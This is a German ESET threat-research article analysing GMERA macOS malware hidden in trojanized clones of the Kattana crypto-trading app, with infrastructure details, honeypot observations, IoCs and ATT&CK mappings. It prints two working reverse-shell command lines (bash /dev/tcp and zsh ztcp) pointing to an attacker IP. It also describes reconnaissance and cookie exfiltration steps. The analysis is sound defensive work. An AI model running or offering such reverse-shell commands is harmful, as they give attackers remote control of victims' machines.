Malware in Krypto‑Trading‑Software für MacOS | WeLiveSecurity

Malware in Krypto‑Trading‑Software für MacOS

ESET-Forscher bringen die Betreiber der GMERA-Malware dazu, ihre Mac-Honeypots fernzusteuern

ESET-Forscher bringen die Betreiber der GMERA-Malware dazu, ihre Mac-Honeypots fernzusteuern

Wir haben kürzlich Websites entdeckt, die mit Malware verseuchte Krypto-Trading-Software für MacOS vertreibt. Diese Malware wird dazu verwendet, um Browser-Cookies und Krypto-Wallets zu stehlen sowie um Screenshots vom Rechner des Opfers zu machen. Bei der Analyse der Malware-Samples stellten wir schnell fest, dass es sich um eine neue Kampagne, der im September 2019 von Trend Micro entdeckten GMERA-Malware, handelt.

Wie bei den vorherigen Kampagnen meldet sich die Malware über HTTP an einem C&C-Server an startet Remote-Terminal-Sessions mit einem weiteren C&C-Server unter einer fest codierten IP-Adresse. Diesmal gingen die Malware-Autoren jedoch noch weiter. Sie versahen die ursprünglich legitime Trading-Anwendung Kattana mit ihrer Malware, benannten sie um und vertrieben sie auf einer Kopie der ursprünglichen Webseite. In verschiedenen Kampagnen konnten wir die folgenden fiktiven Brandings beobachten: Cointrazer, Cupatrade, Licatrade und Trezarus.

Neben der Analyse des Malware-Codes wurden von ESET-Forschern auch Honeypots eingerichtet, um die Motive der Kriminellen aufzudecken.

Distribution der Malware

Wir konnten noch nicht genau ermitteln, wo diese trojanisierten Anwendungen beworben werden. Im März 2020 veröffentlichte Kattana jedoch eine Warnung, wonach Opfer individuell angesprochen wurden, um sie zum Herunterladen der trojanisierten Programme zu verleiten. Wir konnten allerdings nicht bestätigen, dass diese Vorfälle mit der hier beschriebenen Kampagne in Zusammenhang stehen. Es ist allerdings sehr gut möglich.

Abbildung 1. Kattana warnt auf Twitter vor trojanisierten Kopien ihrer Software.

Die nachgeahmten Webseiten wirken so echt, dass man den Download der gefälschten Anwendung leicht für legitim hält. Für Personen, die Kattana nicht kennen, sehen die Webseiten völlig echt aus.

Über den Download-Button auf der gefälschten Webseite kann ein ZIP-Archiv heruntergeladen werden, dass die trojanisierte Software enthält.

 

 

Analyse

Die Malware-Analyse ist in diesem Fall ziemlich einfach. Wir werden das Sample der bösartigen Licatrade-Software hier als Beispiel verwenden. Andere Samples weisen nur geringfügige Unterschiede auf, die Ideen und Funktionen sind jedoch im Wesentlichen gleich. Ähnliche Analysen früherer GMERA-Kampagnen finden Sie im Blogpost von Trend Micro und im Mac-Malware-Bericht von Objective-See von 2019.

Abbildung 4. Der Inhalt des bösartigen Licatrade-Anwendungspakets

Die Änderungszeitstempel der Dateien im ZIP-Archiv, das Signierungsdatum der Anwendung und der HTTP-Header „Last Modified“ haben, zum Zeitpunkt unseres Downloads, alle den 15. April 2020 angezeigt. Das deutet darauf hin, dass diese Kampagne zu diesem Zeitpunkt gestartet wurde.

Ein Shell-Skript namens run.sh ist in den Ressourcen des Anwendungspakets enthalten. Diese in Swift geschriebene ausführbare Datei startet run.sh. Aus irgendeinem Grund hat der Malware-Autor die Funktion zur Kommunikation mit dem C&C-Server per HTTP und die Funktion zur Verbindung mit einem Remote Host über TCP doppelt integriert, sowohl in die ausführbare Hauptdatei als auch in das Shell-Skript. Eine zusätzliche Funktion, die nur im Shell-Skript enthalten ist, stellt die Persistenz der Malware durch die Installation eines Launch Agent her.

Hier ist die vollständige Shell-Skriptquelle (Auslassungspunkte in langer Zeichenfolge und defangiert):

Interessanter Weise liegt Persistenz im Licatrade-Beispiel nicht vor: Der Inhalt der resultierenden Launch Agent-Datei (.com.apple.system.plist) liegt nicht, wie von launchd erwartet, im Property-List-Format vor, sondern ist die auszuführende Befehlszeile.

Der dekodierte Inhalt (Auslassungspunkte in langen Zeichenfolgen) der Variablen $plist_text lautet:

Bei direkter Ausführung würde dieser Code eine Reverse-Shell vom Computer des Opfers zu einem vom Angreifer kontrollierten Server öffnen, was hier jedoch fehlschlägt. Zum Glück für die Angreifer, startet die letzte Zeile des Shell-Skripts auch eine Reverse-Shell zu ihrem Server.

Das Cointrazer-Sample, das in Kampagnen vor Licatrade verwendet wurde, hat dieses Problem nicht: Der Launch Agent wird installiert und startet erfolgreich, wenn sich der Benutzer anmeldet.

Die verschiedenen Reverse Shells, die von diesen Malware-Betreibern verwendet werden, verbinden sich, je nachdem wie sie gestartet werden, mit verschiedenen Remote-Ports. Alle Verbindungen sind unverschlüsselt. Hier ist eine Portliste, basierend auf dem Licatrade-Sample.

TCP PortWhereHow
25733Licatrade executablezsh in screen using ztcp
run.shbash in screen using /dev/tcp
Launch Agent (Not working)bash in screen using /dev/tcp
25734Licatrade executablezsh using ztcp
25735Licatrade executablebash using /dev/tcp
25736Licatrade executablebash in screen using /dev/tcp
25737Licatrade executablebash in screen using /dev/tcp
25738Licatrade executablezsh in screen using ztcp

Hier einige Beispiele für die verwendeten Befehlszeilen:

  • Bash in screen using /dev/tcp:
    screen -d -m bash -c ‚bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1‘
  • zsh using ztcp:
    zsh -c ‚zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY‘

Die umbenannte Kattana-Anwendung gehört ebenfalls zum Anwendungspaket. Wir wollten sehen, ob außer der Namens- und Icon-Änderung auch anderer Code in der Anwendung geändert wurde. Da Kattana nach Anmeldeinformationen für Handelsplattformen fragt, um den Handel durchzuführen, haben wir überprüft, ob diese Eingabemasken manipuliert wurden und ob die Anmeldeinformationen auf irgendeine Weise herausgefiltert werden.

Kattana wurde mit Electron erstellt und alle Electron-Apps verfügen über eine app.asar-Datei, dies ist ein Archiv, das den JavaScript-Code der Anwendung enthält. Wir haben alle Unterscheide zwischen der echten Kattana-Anwendung und der böswilligen Licatrade-Anwendung überprüft und dabei festgestellt, dass nur Zeichenfolgen und Bilder geändert wurden.

Abbildung 5. Unterschiede zwischen Kattana und Licatrade

Licatrade und seine Ressourcen wurden alle mit demselben Zertifikat signiert, wobei das Common-Name-Feld den Namen Andrey Novoselov und die Entwickler-ID M8WVDT659T enthielt. Das Zertifikat wurde am 6. April 2020 von Apple ausgestellt. Es wurde noch am gleichen Tag widerrufen, an dem wir Apple über diese Malware informiert haben.

Abbildung 6. Das zur Signierung von Licatrade verwendete Zertifikat

Abbildung 7. Das Licatrade-Zertifikat wurde am 28. Mai 2020 widerrufen

Jede der von uns analysierten Kampagnen verwendete ein anderes Zertifikat. Alle wurden bereits zu Beginn unserer Analysen von Apple widerrufen. Weitere Informationen dazu finden Sie im Abschnitt IoCs. Es ist interessant, dass im Fall von Cointrazer zwischen dem Zeitpunkt der Zertifikatsausstellung durch Apple und der Signierung der trojanisierten Anwendung durch die Kriminellen nur 15 Minuten lagen. Dies und die Tatsache, dass wir nichts anderes gefunden haben, das mit demselben Schlüssel signiert wurde, deutet darauf hin, dass sie das Zertifikat nur für diesen Zweck erstellt haben.

Infrastruktur

Die bösartige Licatrade-Anwendung war auf der Website licatrade.com verfügbar. Die C&C-HTTP-Server-Domain lautete stepbystepby.com. Beide Domains wurden unter der E-Mail-Adresse levistor777@gmail.com registriert. Sucht man nach anderen Domains, die mit dieser E-Mail-Adresse registriert wurden, dann sieht man Anzeichen für mehrere vorherige Kampagnen. Hier ist eine Liste von Domains, die wir in Samples gefunden oder über die genannte E-Mail-Adresse gefunden haben.

Domain nameRegistration dateComment
repbaerray.pw2019-02-25C&C server for HTTP report of Stockfolio app
macstockfolio.com2019-03-03Website distributing the malicious Stockfolio app
latinumtrade.com2019-07-25Website distributing the malicious Latinum app
trezarus.com2019-06-03Website distributing the malicious Trezarus app
trezarus.net2019-08-07
cointrazer.com2019-08-18Website distributing the malicious Cointrazer app
apperdenta.com2019-08-18Usage unknown
narudina.com2019-09-23Usage unknown
nagsrsdfsudinasa.com2019-10-09C&C server for HTTP report of Cointrazer app
cupatrade.com2020-03-28Website distributing the malicious Cupatrade app
stepbystepby.com2020-04-07C&C server for HTTP report of Licatrade app
licatrade.com2020-04-13Website distributing the malicious Licatrade app
creditfinelor.com2020-05-29Empty page, usage unknown
maccatreck.com2020-05-29Some authentication form

Sowohl die Websites als auch die Http-C&C-Server, die den ersten Bericht der Malware empfangen, werden hinter Cloudflare-Service gehostet.

Honeypot-Interaktionen

Um mehr über die Absichten dieser Gruppe zu erfahren, haben wir Honeypots eingerichtet, auf denen wir alle Interaktionen zwischen den Reverse-Shell-Backdoors von GMERA und den Betreibern dieser Malware überwacht haben.

Wir konnten keine Command&Control-Befehle über den Http-C&C-Server beobachten. Alle Vorgänge liefen über die Reverse Shells. Bei der ersten Verbindung sendete der C&C-Server ein kleines Skript, um den Benutzernamen, die macOS-Version und den Speicherort (basierend auf der externen IP-Adresse) des kompromittierten Geräts zu erfassen.

Wodurch ein solcher Bericht an die Betreiber geschickt wurde:

Die TCP-Verbindung bleibt offen und wartet auf weitere Befehle. In unserem Fall haben die Betreiber die Maschine nach einer Weile selbst inspiziert. Auf mehreren unserer Honeypots unterschieden sich die dafür genutzten Befehle. Ein Teil bestand nur aus dem Auflisten der Dateien im gesamten Dateisystem. Manchmal kopierten sie ein Base64-codiertes Skript, um Informationen zu sammeln, ob das System ein Honeypot oder tatsächlich interessant ist. Das Skript wird dekodiert und dann an bash weitergeleitet.

Abbildung 8. Die vom Betreiber gesendeten Pakete mit dem Base64-codierten sekundären Aufklärungsskript.

Hier ist das dekodierte Skript:

Dieses Skript ähnelt sehr der Plugin-Datei in einem der im letzten Jahr analysierten Stockfolio-Samples. In den neueren Kampagnen haben sich die Cyberkriminellen jedoch dafür entschieden, das Aufklärungsskript nur an interessante Opfer über das Netzwerk zu senden. Es wurde auch aktualisiert, um einige zusätzliche Informationen aufzunehmen.

Abbildung 9. Rekonstruierter Bericht auf dem Terminal eines Betreibers

Wir gehen alle Abschnitte des Skripts hier durch:

  • Abruf des vollständigen Berichts zur externen IP über ipinfo.io
  • Das Mac-Modell wird anhand der letzten 4 Ziffern der Mac-Seriennummer und einem von Apple bereitgestellten HTTP-Dienst überprüft, der es in einen Anzeigenamen wie „MacBook Pro (Retina, 15 Zoll, Ende 2013)“ übersetzt. Virtuelle Maschinen haben wahrscheinlich ungültige Seriennummern und zeigen hier möglicherweise kein Modell an.
  • Die installierte Version von macOS wird ausgegeben. Wenn auf dem Computer macOS Catalina (10.15) ausgeführt wird, wird ein ziemlich große rote Warnung angezeigt (unter Verwendung der ANSI-Escape-Sequenz). Wir glauben zu wissen warum. Später mehr dazu.
  • Überprüft anhand der Änderungszeit der Datei /var/db/.AppleSetupDone, wann macOS installiert wurde.
  • Gibt die Festplattennutzung und Details zu den angeschlossenen Monitoren aus.
  • Es listet verfügbare Wi-Fi-Netzwerke auf. Bei Honeypots ist Wi-Fi wahrscheinlich deaktiviert.
  • Es erkennt anhand der Herstellerzeichenfolgen der verbundenen Geräte, ob es sich bei dem Computer um eine virtuelle VMware-, Parallels- oder VirtualBox-Maschine handelt.
  • Es prüft, ob gängige Texteditoren oder IDE-Anwendungen installiert sind. Es warnt die Bediener vor „Vorsicht“ (sic), da dieses Opfer möglicherweise besser mit Computern vertraut ist als gewöhnlich.
  • Es werden die ersten (das heißt die ältesten) 20 Befehle aus der Bash-Verlaufsdatei abgerufen.
  • Schließlich wird ein Screenshot erstellt, die Größe geändert und in file.io hochgeladen. Zuvor wird überprüft, ob auf dem System macOS Catalina ausgeführt wird. Ein Fehler im Skript macht diese Überprüfung jedoch unbrauchbar. Der Steueroperator „&“, der Befehle parallel startet, wird anstelle des logischen UND-Operators („&&“) verwendet. Dies bedeutet, dass die Bildschirmaufnahme unabhängig von der macOS-Version erstellt wird.

Die Tatsache, dass bei macOS Catalina kein Screenshot aufgenommen werden soll und dass das Terminal des Bedieners ein deutliches Warnzeichen anzeigt, hat uns stutzig gemacht. Warum verhalten sich die Angreifer auf der aktuellen macOS-Version anders? Es stellte sich heraus, dass Catalina eine Funktion eingeführt hat, durch die das Aufzeichnen des Bildschirms oder das Aufnehmen eines Screenshots vom Benutzer für jede Anwendung genehmigt werden muss. Wir haben die Erstellung eines Screenshots über die Reverse Shell auf Catalina getestet und haben die folgende Warnung in unserer Sandbox erhalten (was ziemlich verdächtig ist, wenn man bedenkt, dass eine Trading-Software keinen Grund dazu hat).

Abbildung 10. Warnung von macOS Catalina, wenn man versucht einen Screenshot zu erstellen

Wird ein kompromittiertes System als interessant angesehen, dann beginnt die Exfiltrationsphase. Interessante Dateien werden in ein ZIP-Archiv komprimiert und über HTTP auf einen weiteren Server hochgeladen, der ebenfalls unter der Kontrolle der Angreifer steht.

Abbildung 11. Paketerfassung eines Bedieners bei der Exfiltration von Browser-Cookies über die Reverse Shell.

Es ist lustig, dass die Datei /tmp/h.zip hier nicht vorhanden war. Vielleicht haben sie einen Befehl kopiert und eingefügt, der ursprünglich für ein anderes Opfer verwendet wurde.

Aufgrund der von uns beobachteten Aktivitäten kommen wir zu dem Schluss, dass es die Betreiber dieser Malware unter anderem darauf abgesehen haben:

  • Browserinformationen (Cookies, Verlauf)
  • Krypto-Wallets
  • Screenshots

Fazit

Die zahlreichen Kampagnen dieser Gruppe zeigen, dass sie im letzten Jahr viel Aufwand betrieben haben, um Mac-Nutzer anzugreifen die Online-Trading betreiben. Wir sind uns immer noch nicht sicher, wie jemand zum Opfer wird, wenn er eine der trojanisierten Anwendungen herunterlädt. Die Hypothese, dass die Betreiber ihre Ziele direkt kontaktieren und dazu überreden die bösartige Anwendung zu installieren, erscheint aber am plausibelsten.

Interessant ist auch, dass der Malware-Betrieb in der neuesten Version von macOS eingeschränkter ist. Wir haben nicht beobachtet, dass die Betreiber versucht haben, die Einschränkungen bei Bildschirmaufnahmen zu umgehen. Darüber hinaus glauben wir, dass die einzige Möglichkeit, den Computerbildschirm auf Opfercomputern mit Catalina zu sehen, darin besteht, vorhandene Screenshots des Opfers zu verwenden. Dies ist ein gutes Praxisbeispiel dafür, wie eine schadensbegrenzende Implementierung im Betriebssystem, tatsächlich die Aktivitäten von Kriminellen einschränkt.

Indicators of Compromise (IoCs)

Samples

SHA-1FilenameESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3BLicatrade.zipmultiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FALicatrade.app/Contents/Resources/run.shOSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CELicatrade.app/Contents/MacOS/LicatradeOSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229Cointrazer.zipmultiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0Cointrazer.app/Contents/Resources/nytyntrun.shOSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380Cointrazer.app/Contents/MacOS/CointrazerOSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46Stockfolio.zipmultiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2CStockfolio.app/Contents/MacOS/StockfoliOSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023Stockfolio.app/Contents/Resources/run.shOSX/Agent.AZ

Code signing certificate

App nameFingerprint (SHA-1)Developer identityValid fromApp signed onRevoked on
StockfolioE5D2C7FB4A64EAF444728E5C61F576FF178C5EBFLevis Toretto (9T4J9V8NV5)2018-11-252019-04-182019-07-26
Cointrazer1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55Andrei Sobolev (A265HSB92F)2019-10-172019-10-172020-04-16
LicatradeBDBD92BFF8E349452B07E5F1D2883678658404A3Andrey Novoselov (M8WVDT659T)2020-04-062020-04-152020-05-28

Network

Domain names

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

IP Addresses

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Host-based indicators

File paths

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Launch Agent labels

• com.apple.apps.upd
• com.apples.apps.upd

MITRE ATT&CK techniques

TacticIDNameDescription
ExecutionT1204User ExecutionVictim needs to run the malicious application to be compromised.
T1059Command-Line InterfaceGMERA provides reverse bash and zsh shells to its operators.
PersistenceT1159Launch AgentGMERA installs a Launch Agent to maintain persistence.
Defense EvasionT1116Code SigningAll samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential AccessT1139Bash HistoryA GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539Steal Web Session CookieGMERA’s operators steal browser cookies via a reverse shell.
DiscoveryT1083File and Directory DiscoveryGMERA’s operators list files on the target system via a reverse shell and ls .
T1497Virtualization/Sandbox EvasionA GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040Network SniffingA GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082System Information DiscoveryA GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518Software DiscoveryA GMERA reconnaissance script checks whether developer tools are installed.
CollectionT1005Data from Local SystemGMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113Screen CaptureGMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and ControlT1043Commonly Used PortInitial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065Uncommonly Used PortGMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
ExfiltrationT1048Exfiltration Over Alternative ProtocolGMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.

Newsletter-Anmeldung

Hier können Sie mitdiskutieren